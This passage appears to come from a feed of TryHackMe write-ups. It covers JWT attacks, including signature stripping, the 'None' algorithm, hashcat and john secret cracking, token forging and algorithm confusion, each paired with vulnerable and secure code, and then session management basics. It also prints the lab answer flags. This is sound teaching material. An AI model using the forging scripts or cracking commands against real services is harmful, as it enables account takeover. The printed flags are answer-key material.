Signature</h4><p>A JWT normally looks like:</p><pre>HEADER.PAYLOAD.SIGNATURE</pre><p>If signature validation is completely disabled, removing the signature may still result in the server accepting the token:</p><pre>HEADER.PAYLOAD.</pre><p>This is a critical finding.</p><p>It means the server is trusting the claims without proving that the token was legitimately signed.</p><h3>Step 4 — Modify the Claims</h3><p>If the payload contains:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 0<br>}</pre><p>the attacker may attempt to change it to:</p><pre>{<br>  &quot;username&quot;: &quot;admin&quot;,<br>  &quot;admin&quot;: 1<br>}</pre><p>If the server accepts this modified token, privilege escalation is possible.</p><h4>Vulnerable Code</h4><p>A vulnerable implementation may look like:</p><pre>payload = jwt.decode(<br>    token,<br>    options={&#39;verify_signature&#39;: False}<br>)</pre><p>The signature is explicitly not being verified.</p><h4>Secure Implementation</h4><p>The server should verify the token:</p><pre>payload = jwt.decode(<br>    token,<br>    self.secret,<br>    algorithms=&quot;HS256&quot;<br>)</pre><p>For server-to-server authentication, additional controls such as certificates may also be appropriate.</p><h3>Practical Example 3 — None Algorithm Downgrade</h3><h4>Step 1 — Understand the Attack</h4><p>JWTs support the None algorithm.</p><p>The attack attempts to change the header from:</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;<br>}</pre><p>to:</p><pre>{<br>  &quot;alg&quot;: &quot;None&quot;<br>}</pre><p>The goal is to convince the server to accept a token without validating a cryptographic signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*uZOr7zokjc5VqVah80Ht1A.jpeg" /></figure><h4>Step 2 — Modify the Header</h4><p>The JWT header can be decoded and modified.</p><p>For example:</p><pre>{<br>  &quot;typ&quot;: &quot;JWT&quot;,<br>  &quot;alg&quot;: &quot;None&quot;<br>}</pre><p>The resulting token is then submitted to the application.</p><p>If the server accepts it, signature validation may have been bypassed.</p><h4>Step 3 — Modify Authorization Claims</h4><p>The attacker can then attempt to change:</p><pre>&quot;admin&quot;: 0</pre><p>to:</p><pre>&quot;admin&quot;: 1</pre><p>The objective is to determine whether the server trusts the forged claims.</p><h4>Vulnerable Implementation</h4><p>A common design mistake is dynamically trusting the algorithm specified by the attacker-controlled JWT header:</p><pre>header = jwt.get_unverified_header(token)<br>signature_algorithm = header[&#39;alg&#39;]<br>payload = jwt.decode(<br>    token,<br>    self.secret,<br>    algorithms=signature_algorithm<br>)</pre><p>The application should never blindly trust the algorithm specified by an untrusted token.</p><h4>Secure Implementation</h4><p>The application should explicitly define allowed algorithms:</p><pre>payload = jwt.decode(<br>    token,<br>    self.secret,<br>    algorithms=[&quot;HS256&quot;, &quot;HS384&quot;, &quot;HS512&quot;]<br>)</pre><p>The server should not allow an attacker to decide which cryptographic algorithm will be used for verification.</p><h3>Practical Example 4 — Weak Symmetric Secrets</h3><h4>Step 1 — Identify the Algorithm</h4><p>Suppose the JWT uses:</p><pre>HS256</pre><p>This means the token relies on a shared secret.</p><p>If the secret is weak, an attacker may attempt to crack it offline.</p><p>The attacker does not need to repeatedly send requests to the server.</p><p>Instead, the attacker can test candidate secrets locally.</p><h4>Step 2 — Save the JWT</h4><p>Save the token into:</p><pre>jwt.txt</pre><h3>Step 3 — Obtain a JWT Secret Wordlist</h3><p>For the lab, a common JWT secret list can be downloaded using:</p><pre>wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list</pre><h3>Step 4 — Crack the Secret</h3><p>Hashcat mode 16500 is used for JWTs:</p><pre>hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list</pre><p>or by using John the Ripper</p><pre>john --wordlist=jwt.secrets.list jwt.txt</pre><p>If the secret is weak and appears in the wordlist, Hashcat may recover it.</p><p>In the lab, the recovered secret was:</p><pre>secret</pre><h4>Step 5 — Forge a New Token</h4><p>Once the signing secret is known, an attacker can create a new token with modified claims.</p><p>For example:</p><pre>import jwt<br>secret = &quot;secret&quot;<br>payload = {<br>    &quot;username&quot;: &quot;admin&quot;,<br>    &quot;admin&quot;: 1<br>}<br>access_token = jwt.encode(<br>    payload,<br>    secret,<br>    algorithm=&quot;HS256&quot;<br>)<br>print(access_token)</pre><p>The newly generated token can then be sent to the API.</p><p>The important lesson is:</p><blockquote><em>A weak symmetric secret can turn a cryptographically valid JWT implementation into an authentication bypass.</em></blockquote><h4>Secure Development</h4><p>JWT secrets should be:</p><ul><li>Long</li><li>Random</li><li>High entropy</li><li>Generated securely</li><li>Stored safely</li></ul><p>Avoid predictable secrets such as:</p><pre>secret<br>password<br>jwtsecret<br>123456</pre><h3>Practical Example 5 — Algorithm Confusion</h3><p>Algorithm confusion attacks are more subtle.</p><p>They occur when a server incorrectly allows both symmetric and asymmetric algorithms and mishandles the verification key.</p><p>For example:</p><pre>Original:<br>RS256<br>Private Key -&gt; Sign<br>Public Key  -&gt; Verify</pre><p>An attacker may attempt:</p><pre>Modified:<br>HS256<br>Public Key -&gt; HMAC Secret</pre><p>If the vulnerable server uses the public key as an HMAC secret, an attacker who knows the public key may be able to generate a valid signature.</p><h4>Step 1 — Authenticate</h4><p>The application returns:</p><ul><li>A JWT</li><li>An RSA public key</li></ul><p>The original token uses:</p><pre>RS256</pre><h4>Step 2 — Change the Algorithm</h4><p>The attacker changes:</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;<br>}</pre><p>to:</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;<br>}</pre><h4>Step 3 — Use the Public Key as the HMAC Secret</h4><p>The vulnerable implementation may incorrectly treat the public key as an HMAC secret.</p><p>A conceptual exploit script looks like:</p><pre>import jwt<br>public_key = &quot;ADD_KEY_HERE&quot;<br><br>payload = {<br>    &#39;username&#39; : &#39;user&#39;,<br>    &#39;admin&#39; : 0<br>}<br><br>access_token = jwt.encode(payload, public_key, algorithm=&quot;HS256&quot;)<br>print (access_token)</pre><p>The attacker can then modify the payload:</p><pre>payload = {<br>    &quot;username&quot;: &quot;admin&quot;,<br>    &quot;admin&quot;: 1<br>}</pre><p>and generate another token.</p><h4>Vulnerable Configuration</h4><p>A dangerous implementation may allow both algorithm families together:</p><pre>payload = jwt.decode(<br>    token,<br>    self.secret,<br>    algorithms=[<br>        &quot;HS256&quot;,<br>        &quot;HS384&quot;,<br>        &quot;HS512&quot;,<br>        &quot;RS256&quot;,<br>        &quot;RS384&quot;,<br>        &quot;RS512&quot;<br>    ]<br>)</pre><p>The problem is that the verification key can be interpreted differently depending on the selected algorithm.</p><h4>Secure Implementation</h4><p>The application should separate symmetric and asymmetric verification logic:</p><pre>header = jwt.get_unverified_header(token)<br><br>algorithm = header[&#39;alg&#39;]<br>payload = &quot;&quot;<br><br>if &quot;RS&quot; in algorithm:<br>    payload = jwt.decode(token, self.public_key, algorithms=[&quot;RS256&quot;, &quot;RS384&quot;, &quot;RS512&quot;])<br>elif &quot;HS&quot; in algorithm:<br>    payload = jwt.decode(token, self.secret, algorithms=[&quot;HS256&quot;, &quot;HS384&quot;, &quot;HS512&quot;])<br><br>username = payload[&#39;username&#39;]<br>flag = self.db_lookup(username, &quot;flag&quot;)</pre><p>The fundamental principle is to ensure that the selected algorithm can never cause the wrong type of key to be used.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>What is the flag for example 2?</blockquote><h4><strong>Answer: </strong><strong>THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}</strong></h4><p><strong>Explanation</strong></p><p>Example 2 demonstrates a JWT implementation where signature verification is not properly enforced. This allows an attacker to modify authorization-related claims and potentially impersonate an administrator.</p><h4>Question 2</h4><blockquote>What is the flag for example 3?</blockquote><h4><strong>Answer: </strong><strong>THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}</strong></h4><p><strong>Explanation</strong></p><p>Example 3 demonstrates an algorithm downgrade involving the None algorithm. If the application accepts this algorithm without requiring a valid cryptographic signature, attackers may be able to forge token claims.</p><h4>Question 3</h4><blockquote>What is the flag for example 4?</blockquote><h4><strong>Answer: </strong><strong>THM{e1679fef-df56-41cc-85e9-af1e0e12981b}</strong></h4><p><strong>Explanation</strong></p><p>Example 4 demonstrates the danger of using a weak symmetric signing secret. Once the secret is recovered through offline cracking, the attacker can create new JWTs with arbitrary claims and valid signatures.</p><h4>Question 4</h4><blockquote>What is the flag for example 5?</blockquote><h4><strong>Answer: </strong><strong>THM{f592dfe2-ec65-4514-a135-70ba358f22c4}</strong></h4><p><strong>Explanation</strong></p><p>Example 5 demonstrates algorithm confusion between asymmetric and symmetric signing. The vulnerability occurs when the server incorrectly allows the public key to be interpreted as an HMAC secret after changing the algorithm from RS256 to HS256.</p><h3>Task 6 — Token Lifetime</h3><h4>Summary</h4><p>A JWT should not remain valid forever.</p><p>JWTs commonly use the exp claim to specify when a token expires.</p><p>For example:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 0,<br>  &quot;exp&quot;: 1785070000<br>}</pre><p>The exact value represents a timestamp.</p><p>The server should verify that the current time is before the expiration time.</p><h4>The Security Problem</h4><p>If a JWT does not contain an expiration time, it may remain valid indefinitely.</p><p>This creates a serious problem if the token is stolen.</p><p>For example:</p><pre>Attacker steals JWT<br>       |<br>       v<br>Token has no expiration<br>       |<br>       v<br>Token remains valid<br>       |<br>       v<br>Attacker can continue using it</pre><p>The longer a token remains valid, the larger the window available to an attacker.</p><h4>Practical Example 6</h4><p>The vulnerable token provided in the lab was:</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU</pre><p>The important observation is that the payload does not contain an exp claim.</p><p>Therefore, assuming the signature remains valid, the token can continue to be accepted.</p><h4>Secure Implementation</h4><p>A token lifetime can be created using Python:</p><pre>lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)<br><br>payload = {<br>    &#39;username&#39; : username,<br>    &#39;admin&#39; : 0,<br>    &#39;exp&#39; : lifetime<br>}<br><br>access_token = jwt.encode(payload, self.secret, algorithm=&quot;HS256&quot;)</pre><p>The appropriate lifetime depends on the application.</p><p>A banking application may require a much shorter lifetime than a low-risk internal application.</p><h4>Refresh Tokens</h4><p>Another common approach is using short-lived access tokens combined with refresh tokens.</p><p>Conceptually:</p><pre>Short-lived Access Token<br>        |<br>        v<br>Expires quickly<br>        |<br>        v<br>Refresh Token<br>        |<br>        v<br>Obtain new Access Token</pre><p>This approach reduces the impact of a stolen access token while still allowing users to maintain a session without repeatedly entering their credentials.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>What is the flag for example 6?</blockquote><h4><strong>Answer: </strong><strong>THM{a450ae48-7226-4633-a63d-38a625368669}</strong></h4><p><strong>Explanation</strong></p><p>The vulnerability in example 6 is the absence of an expiration claim. Because the token does not have an exp value, it can remain valid indefinitely as long as the signature is accepted.</p><h3>Task 7 — Cross-Service Relay Attacks</h3><h4>Summary</h4><p>JWTs are often used in environments where one authentication service provides tokens for multiple applications.</p><p>For example:</p><pre>Authentication Server<br>                    |<br>          ---------------------<br>          |                   |<br>          v                   v<br>       App A                App B</pre><p>A JWT may contain an aud claim that specifies the intended application.</p><p>For example:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 1,<br>  &quot;aud&quot;: &quot;appB&quot;<br>}</pre><p>The token is intended for appB.</p><p>If appA does not properly validate the audience, it may incorrectly accept the token.</p><p>This can lead to a <strong>Cross-Service Relay attack</strong>.</p><h4>Practical Example 7</h4><p>The lab contains two applications:</p><pre>example7_appA<br>example7_appB</pre><p>The authentication request also requires an application parameter.</p><p>For example:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;password&quot;: &quot;password7&quot;,<br>  &quot;application&quot;: &quot;appA&quot;<br>}</pre><p>The resulting token contains an audience identifying appA.</p><p>The attacker can then test the token against both applications.</p><p>The interesting behavior is:</p><pre>Token issued for appA<br>       |<br>       +----&gt; appA: accepted<br>       |<br>       +----&gt; appB: rejected</pre><p>The attacker then requests a token for appB:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;password&quot;: &quot;password7&quot;,<br>  &quot;application&quot;: &quot;appB&quot;<br>}</pre><p>This token provides administrator privileges in the context of appB.</p><p>The next step is to test this token against both services.</p><p>If appA accepts the appB token without validating its audience, the attack becomes possible:</p><pre>Token issued for appB<br>       |<br>       v<br>Contains admin privileges<br>       |<br>       v<br>Sent to appA<br>       |<br>       v<br>appA fails to enforce &quot;aud&quot;<br>       |<br>       v<br>Privilege escalation</pre><p>The vulnerability is not necessarily a problem with the JWT signature.</p><p>The token may be:</p><ul><li>Properly signed</li><li>Completely authentic</li><li>Cryptographically valid</li></ul><p>The problem is that the wrong application accepts it.</p><h4>Secure Implementation</h4><p>The application should explicitly validate the audience claim.</p><p>For example:</p><pre>payload = jwt.decode(<br>    token,<br>    self.secret,<br>    audience=[&quot;appA&quot;],<br>    algorithms=&quot;HS256&quot;<br>)</pre><p>The server should verify both:</p><pre>Is this token authentic?<br>        +<br>Is this token intended for this application?</pre><p>Both checks are required.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>What is the flag for example 7?</blockquote><h4><strong>Answer: </strong><strong>THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}</strong></h4><p><strong>Explanation</strong></p><p>Example 7 demonstrates a Cross-Service Relay vulnerability caused by incorrect audience validation. A token issued for one application can be accepted by another application, allowing privileges associated with the first application to be reused in the second.</p><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ac1a4bfc252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session Management TryHackMe-Writeup]]></title>
            <link>https://medium.com/@asoubea/session-management-tryhackme-writeup-4b0aa04f2020?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b0aa04f2020</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 06:05:41 GMT</pubDate>
            <atom:updated>2026-07-18T06:05:41.619Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab link</strong>:<a href="https://tryhackme.com/room/sessionmanagement">https://tryhackme.com/room/sessionmanagement</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*astI0gMJZLVLa_N0Vvidxg.png" /></figure><h3>Introduction</h3><p>Whenever you log into a website, something interesting happens behind the scenes. You enter your username and password once, yet you can continue browsing pages, adding products to your cart, or accessing your profile without logging in again.</p><p>How does the application remember who you are?</p><p>The answer is <strong>Session Management</strong>.</p><p>Session management is one of the most important concepts in web security. A single mistake in how a session is created, tracked, expired, or terminated can allow attackers to impersonate legitimate users, steal accounts, or bypass authorization checks.</p><p>In this walkthrough, we’ll explore the fundamentals of session management through the <strong>TryHackMe — Session Management</strong> room. Instead of simply solving the questions, we’ll understand why each answer is correct and how these concepts apply to real-world web applications.</p><h3>Task 2 — What is Session Management?</h3><h4>Summary</h4><p>Before understanding session-related vulnerabilities, we first need to understand <strong>why sessions exist</strong>.</p><p>The HTTP protocol is <strong>stateless</strong>, meaning every request sent to a web server is completely independent of the previous one.</p><p>For example:</p><ul><li>You log in.</li><li>You open your dashboard.</li><li>You edit your profile.</li><li>You upload a file.</li></ul><p>Without sessions, the server would treat every request as if it came from a completely new visitor. That means you would need to enter your username and password before every single action.</p><p>To solve this problem, web applications create a <strong>session</strong> after successful authentication.</p><p>Instead of sending your credentials repeatedly, your browser sends a unique <strong>Session ID</strong> (usually stored inside a cookie or token). The server uses this identifier to remember who you are and what permissions you have.</p><h4>The Session Management Lifecycle</h4><p>A secure session passes through four important phases.</p><h4>1. Session Creation</h4><p>After the user successfully authenticates, the application generates a unique session identifier.</p><p>This identifier becomes the user’s temporary identity while using the application.</p><p>A secure session identifier should always be:</p><ul><li>Random</li><li>Unique</li><li>Difficult to predict</li><li>Cryptographically secure</li></ul><p>Weak session identifiers can allow attackers to guess or forge valid sessions.</p><h4>2. Session Tracking</h4><p>Every request sent to the application includes the session identifier.</p><p>The server checks this value to determine:</p><ul><li>Who the user is</li><li>Whether they’re authenticated</li><li>Which permissions they have</li></ul><p>If tracking isn’t implemented correctly, attackers may hijack another user’s session or perform actions they shouldn’t be allowed to perform.</p><h4>3. Session Expiry</h4><p>Users don’t always log out.</p><p>Sometimes they simply close the browser or leave the website.</p><p>Since HTTP is stateless, the server has no idea whether the user is still present.</p><p>For this reason, every session should have an expiration time.</p><p>Once expired, the application should require the user to authenticate again.</p><h4>4. Session Termination</h4><p>When a user clicks <strong>Logout</strong>, the session should immediately become invalid.</p><p>This process must happen on the server — not just inside the browser.</p><p>If the server keeps the session alive after logout, an attacker possessing the session identifier may continue accessing the account.</p><h3>Questions &amp; Answers</h3><h3>Question 1</h3><blockquote><strong>Which state in the session management lifecycle deals with users pressing the logout button?</strong></blockquote><h4><strong>Answer: </strong>Session Termination</h4><p><strong>Explanation</strong></p><p>Logging out should immediately invalidate the current session and prevent any further use of that session identifier.</p><h3>Question 2</h3><blockquote><strong>Which state in the session management lifecycle deals with users providing their credentials?</strong></blockquote><h4><strong>Answer: </strong>Session Creation</h4><p><strong>Explanation</strong></p><p>After successful authentication, the application creates a new session that identifies the authenticated user.</p><h3>Question 3</h3><blockquote><strong>Which state in the session management lifecycle deals with users’ actions performed after authentication?</strong></blockquote><h4><strong>Answer: </strong>Session Tracking</h4><p><strong>Explanation</strong></p><p>Every authenticated request uses the session identifier so the server can recognize the user and verify their permissions.</p><h3>Question 4</h3><blockquote><strong>Which state in the session management lifecycle deals with users that forget to log out of the application?</strong></blockquote><h4><strong>Answer: </strong>Session Expiry</h4><p><strong>Explanation</strong></p><p>Sessions should automatically expire after a period of inactivity, reducing the risk of unauthorized access if users forget to log out.</p><h3>Task 3 — Authentication vs Authorization</h3><h3>Summary</h3><p>One of the most common mistakes beginners make is confusing <strong>Authentication</strong> with <strong>Authorization</strong>. Although the two concepts work together, they serve completely different purposes.</p><p>TryHackMe introduces the <strong>IAAA Model</strong>, which consists of four important processes that work together to secure user access.</p><h4>Identification</h4><p>Identification is the process where a user claims an identity.</p><p>This usually happens when you enter your username or email address. At this stage, the application doesn’t know if you’re really that user — it only knows who you claim to be.</p><h4>Authentication</h4><p>Authentication verifies your identity.</p><p>After providing your username, you must prove that you are the legitimate owner of the account, usually by entering the correct password or another authentication factor.</p><p>Once authentication succeeds, the application creates a session for the user.</p><h4>Authorization</h4><p>Being logged in doesn’t automatically mean you can access everything.</p><p>Authorization determines what actions a user is allowed to perform.</p><p>For example:</p><ul><li>A student can view course materials.</li><li>A lecturer can create exams.</li><li>An administrator can manage all users.</li></ul><p>Even though all three users are authenticated, they have different permissions.</p><h4>Accountability</h4><p>Every action performed by a user should be logged.</p><p>Applications should record information such as:</p><ul><li>User ID</li><li>Session ID</li><li>Timestamp</li><li>Requested resource</li><li>Action performed</li></ul><p>These logs become extremely valuable during security investigations and incident response.</p><h4>Why Does This Matter?</h4><p>Each component of the IAAA model plays a role in session management.</p><ul><li><strong>Identification</strong> → The user claims an identity.</li><li><strong>Authentication</strong> → A session is created after successful login.</li><li><strong>Authorization</strong> → Every request is checked against the user’s permissions.</li><li><strong>Accountability</strong> → User actions are logged for auditing and investigations.</li></ul><p>Without proper authorization checks, attackers may gain access to resources they shouldn’t be allowed to see. Likewise, without accountability, it becomes nearly impossible to investigate security incidents.</p><h3>Questions &amp; Answers</h3><h3>Question 1</h3><blockquote><strong>What is the name of the process in the IAAA model that would be responsible for tracking your actions and logging them?</strong></blockquote><h4><strong>Answer:</strong> Accountability</h4><h4>Explanation</h4><p>Accountability records user activities, making it possible to audit actions and investigate security incidents if something goes wrong.</p><h3>Question 2</h3><blockquote><strong>What is the name of the process in the IAAA model that would be responsible for granting you a session value?</strong></blockquote><h4><strong>Answer:</strong> Authentication</h4><h4>Explanation</h4><p>Once your identity has been successfully verified, the application authenticates you and creates a session that will be used during future requests.</p><h3>Question 3</h3><blockquote><strong>What is the name of the process in the IAAA model that would be responsible for verifying that you have the relevant permissions to perform an action?</strong></blockquote><h4><strong>Answer:</strong> Authorization</h4><h4>Explanation</h4><p>Authorization determines whether an authenticated user has permission to access a specific resource or perform a particular action</p><h3>Task 4 — Cookies vs Tokens</h3><h4>Summary</h4><p>Now that we understand how sessions work, the next question is:</p><p><strong>How does the browser store the session?</strong></p><p>Modern web applications typically use one of two approaches:</p><ul><li>Cookie-Based Session Management</li><li>Token-Based Session Management</li></ul><p>Although both achieve the same goal — keeping users authenticated — they work in completely different ways.</p><h4>Cookie-Based Session Management</h4><p>Cookies are the traditional way of managing sessions.</p><p>After a successful login, the server sends a response containing a <strong>Set-Cookie</strong> header.</p><p>For example:</p><pre>Set-Cookie: session=12345;</pre><p>The browser automatically stores this cookie and includes it with every future request to the same website.</p><p>One of the biggest advantages of cookies is that browsers provide several built-in security features.</p><p>Some important cookie attributes include:</p><h4>Secure</h4><p>The cookie is only sent over HTTPS connections.</p><p>If the user visits the website using HTTP, the browser will not send the cookie.</p><p>This helps protect session data from being intercepted over insecure connections.</p><h4>HttpOnly</h4><p>JavaScript cannot access the cookie.</p><p>This significantly reduces the impact of many Cross-Site Scripting (XSS) attacks because attackers cannot simply read the session cookie using JavaScript.</p><h4>Expires</h4><p>Defines when the cookie should automatically expire.</p><p>Expired cookies are removed by the browser.</p><h4>SameSite</h4><p>Controls whether cookies are sent with cross-site requests.</p><p>This attribute helps protect against Cross-Site Request Forgery (CSRF) attacks.</p><h4>Token-Based Session Management</h4><p>Instead of storing a session cookie, many modern applications use <strong>tokens</strong>.</p><p>After authentication, the server returns a token (commonly a JWT).</p><p>The client stores this token, usually inside <strong>Local Storage</strong> or <strong>Session Storage</strong>.</p><p>Unlike cookies, browsers do <strong>not</strong> automatically send tokens.</p><p>Instead, JavaScript must manually attach the token to every request.</p><p>A typical request looks like this:</p><pre>Authorization: Bearer eyJhbGciOi...</pre><p>The server then validates the token before processing the request.</p><h4>Cookies vs Tokens</h4><p>Although both methods are used for authentication, they behave differently in practice.</p><p>Cookies are automatically handled by the browser, which makes them convenient for traditional web applications. They also support security attributes such as <strong>Secure</strong>, <strong>HttpOnly</strong>, and <strong>SameSite</strong>, which help reduce common risks when configured correctly.</p><p>Tokens, on the other hand, must be manually attached to each request by the client. This makes them especially common in APIs and modern single-page applications. Since tokens are not automatically sent by the browser, they are naturally less exposed to traditional CSRF attacks, but they must still be protected properly on the client side.</p><p>Neither approach is inherently better. The right choice depends on the application’s architecture, how the frontend communicates with the backend, and the security requirements of the system.</p><h3>Questions &amp; Answers</h3><h3>Question 1</h3><blockquote><strong>What cookie attribute can be used to ensure that the cookie is only transmitted via secure HTTPS channels?</strong></blockquote><h4><strong>Answer:</strong> Secure</h4><h4>Explanation</h4><p>The <strong>Secure</strong> attribute instructs the browser to send the cookie only over encrypted HTTPS connections, preventing it from being transmitted over insecure HTTP.</p><h3>Question 2</h3><blockquote><strong>What HTTP header is used in the response to inform the browser that a cookie is being sent?</strong></blockquote><h4><strong>Answer:</strong> Set-Cookie</h4><h4>Explanation</h4><p>The server uses the <strong>Set-Cookie</strong> response header to create or update cookies inside the user’s browser.</p><h3>Question 3</h3><blockquote><strong>What HTTP header is often used in requests to indicate the transmission of a JWT?</strong></blockquote><h4><strong>Answer:</strong> Authorization: Bearer</h4><h4>Explanation</h4><p>When token-based authentication is used, clients typically include the JWT inside the <strong>Authorization</strong> header using the <strong>Bearer</strong> scheme, allowing the server to verify the user’s identity.</p><h3>Task 5 — Securing the Session Lifecycle</h3><h4>Summary</h4><p>Sessions must be handled securely at every stage. Weaknesses in <strong>creation</strong>, <strong>tracking</strong>, <strong>expiry</strong>, or <strong>termination</strong> can lead to hijacking, privilege escalation, or unauthorized access.</p><h4>Session Creation Vulnerabilities</h4><p>This stage is where the session starts after login. If the session value is weak, predictable, or exposed, attackers may take over the session.</p><h4>Weak Session Values</h4><p>Session IDs should be random and hard to guess. Predictable values make session hijacking easier.</p><h4>Controllable Session Values</h4><p>Some apps use tokens like JWTs. If signature checks are weak, attackers may edit token data and raise their privileges.</p><p>For example, changing:</p><pre>&quot;role&quot;: &quot;student&quot;</pre><p>to</p><pre>&quot;role&quot;: &quot;admin&quot;</pre><h4>Session Fixation</h4><p>If a session stays the same after login, an attacker who already knows it can reuse it. A new session ID should be issued after authentication.</p><h4>Insecure Session Transmission</h4><p>If session data is sent through an insecure redirect, attackers may intercept it during transmission.</p><h4>Session Tracking Vulnerabilities</h4><p>Once the session exists, the app must verify it on every request.</p><h4>Authorization Bypass</h4><ul><li><strong>Vertical:</strong> a low-privileged user accesses admin features.</li><li><strong>Horizontal:</strong> a user accesses another user’s data.</li></ul><p>Example:</p><pre>/profile?id=1</pre><p>changed to</p><pre>/profile?id=2</pre><p>If ownership is not checked, data can be exposed.</p><h4>Insufficient Logging</h4><p>Important actions should be logged, including logins, logouts, requests, failures, session IDs, and user IDs. Without logs, incident investigation becomes difficult.</p><h4>Session Expiry Vulnerabilities</h4><p>Sessions should not last forever. Long-lived sessions increase the damage if a session is stolen. Sensitive apps should use shorter timeouts and may also invalidate sessions when IP or location changes.</p><h4>Session Termination Vulnerabilities</h4><p>Logout must invalidate the session on the server. Removing only the browser cookie is not enough. If the server still accepts the old session, attackers can keep using it. Password resets should also invalidate active sessions.</p><h3>Questions &amp; Answers</h3><h3>Question 1</h3><blockquote><strong>What phase of the session management lifecycle would be vulnerable if you could predict what the value of a session would be?</strong></blockquote><h4><strong>Answer:</strong> Session Creation</h4><h4>Explanation</h4><p>Predictable session IDs are generated during creation, which makes them easier to guess and hijack.</p><h3>Question 2</h3><blockquote><strong>What phase of the session management lifecycle would be vulnerable if you don’t have the ability to flush a threat actor’s access to your session?</strong></blockquote><h4><strong>Answer:</strong> Session Termination</h4><h4>Explanation</h4><p>If logout does not invalidate the session, the attacker can keep using it.</p><h3>Question 3</h3><blockquote><strong>What phase of the session management lifecycle would be vulnerable if there wasn’t sufficient information to piece together what happened during an incident?</strong></blockquote><h4><strong>Answer:</strong> Session Tracking</h4><h4>Explanation</h4><p>This is a logging problem. Without enough logs, it is hard to investigate what happened.</p><h3>Question 4</h3><blockquote><strong>What phase of the session management lifecycle would be vulnerable if the session value itself was transmitted through an insecure redirect?</strong></blockquote><p><strong>Answer:</strong> Session Creation</p><h4>Explanation</h4><p>The session is being created and transmitted at that point, so an insecure redirect can expose it.</p><h3>Task 6 — Exploiting Insecure Session Management</h3><h4>Summary</h4><p>After learning the theory behind session management, it’s time to apply it to a real application.</p><p>The goal of this task isn’t to immediately exploit the website. Instead, we first <strong>map the entire session lifecycle</strong>, understand how authentication works, identify weak points, and then look for opportunities to bypass authorization.</p><p>This methodology is far more effective than randomly testing endpoints because it helps us understand how the application was designed before attempting to break it.</p><h4>Step 1 — Initial Enumeration</h4><p>When visiting the application for the first time, no cookies or tokens are created.</p><p>This tells us that <strong>unauthenticated users are not being tracked</strong>, meaning the session lifecycle begins only after a successful login.</p><p>The registration page offers two account types:</p><ul><li>Student</li><li>Lecturer (requires a verification code)</li></ul><p>Since anyone can register as a student, we create a student account to continue our testing.</p><h4>Step 2 — Logging In</h4><p>After authenticating, the browser receives a new session cookie.</p><p>From the response headers, we can observe:</p><ul><li>Cookies are used for session management.</li><li>The cookie has the <strong>HttpOnly</strong> attribute.</li><li>A new session is generated after login.</li></ul><p>This confirms that the application starts tracking users only after authentication.</p><h4>Step 3 — Exploring the Dashboard</h4><p>Once logged in, several new pages become available.</p><p>By inspecting requests in the browser’s Developer Tools (or Burp Suite), we can see that every request automatically includes the session cookie.</p><p>This confirms that the application uses <strong>cookie-based session tracking</strong>.</p><h4>Step 4 — Deleting the Session Cookie</h4><p>Next, we manually remove the cookie from the browser and refresh the application.</p><p>Surprisingly, some pages still load.</p><p>Although sensitive information disappears, parts of the application remain accessible without a valid session.</p><p>This behavior suggests that some endpoints may not perform proper authorization checks.</p><p>This finding deserves further investigation during a real penetration test.</p><h4>Step 5 — Testing Logout</h4><p>When clicking <strong>Logout</strong>, the browser deletes the session cookie.</p><p>So far, everything appears normal.</p><p>To verify whether logout also invalidates the session on the server, we log in again and replace the new cookie with the old one.</p><p>Instead of receiving a <strong>401 Unauthorized</strong> or being redirected to the login page, the application returns a:</p><p><strong>500 Internal Server Error</strong></p><p>Although the old session can no longer be used, an invalid session should never crash the application.</p><p>This indicates poor server-side session handling.</p><h4>Step 6 — Inspecting Local Storage</h4><p>Looking inside the browser’s <strong>Local Storage</strong>, we discover additional user information such as:</p><ul><li>Username</li><li>User ID</li><li>User Role</li></ul><p>Changing the role from <strong>Student</strong> to <strong>Lecturer</strong> unlocks additional menu items after refreshing the page.</p><p>However, sensitive lecturer data is still unavailable.</p><p>This tells us something very important:</p><p>The frontend trusts the Local Storage values for displaying parts of the interface, but the backend still performs authorization checks before returning sensitive data.</p><h4>Step 7 — Mapping the Session Lifecycle</h4><p>After completing the previous tests, we can now describe how the application handles sessions from start to finish.</p><p>A session is created only after login, and the browser receives both a cookie and client-side values stored in Local Storage. During normal use, the session cookie is automatically included in authenticated requests. Even after removing the cookie, some resources are still accessible, which shows that not every endpoint depends on a valid session. Local Storage values also affect which interface elements are displayed, so the frontend is clearly trusting client-side data. The session itself appears to remain valid for 